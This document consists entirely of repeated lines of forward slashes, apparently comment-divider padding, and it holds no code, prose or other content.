//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// 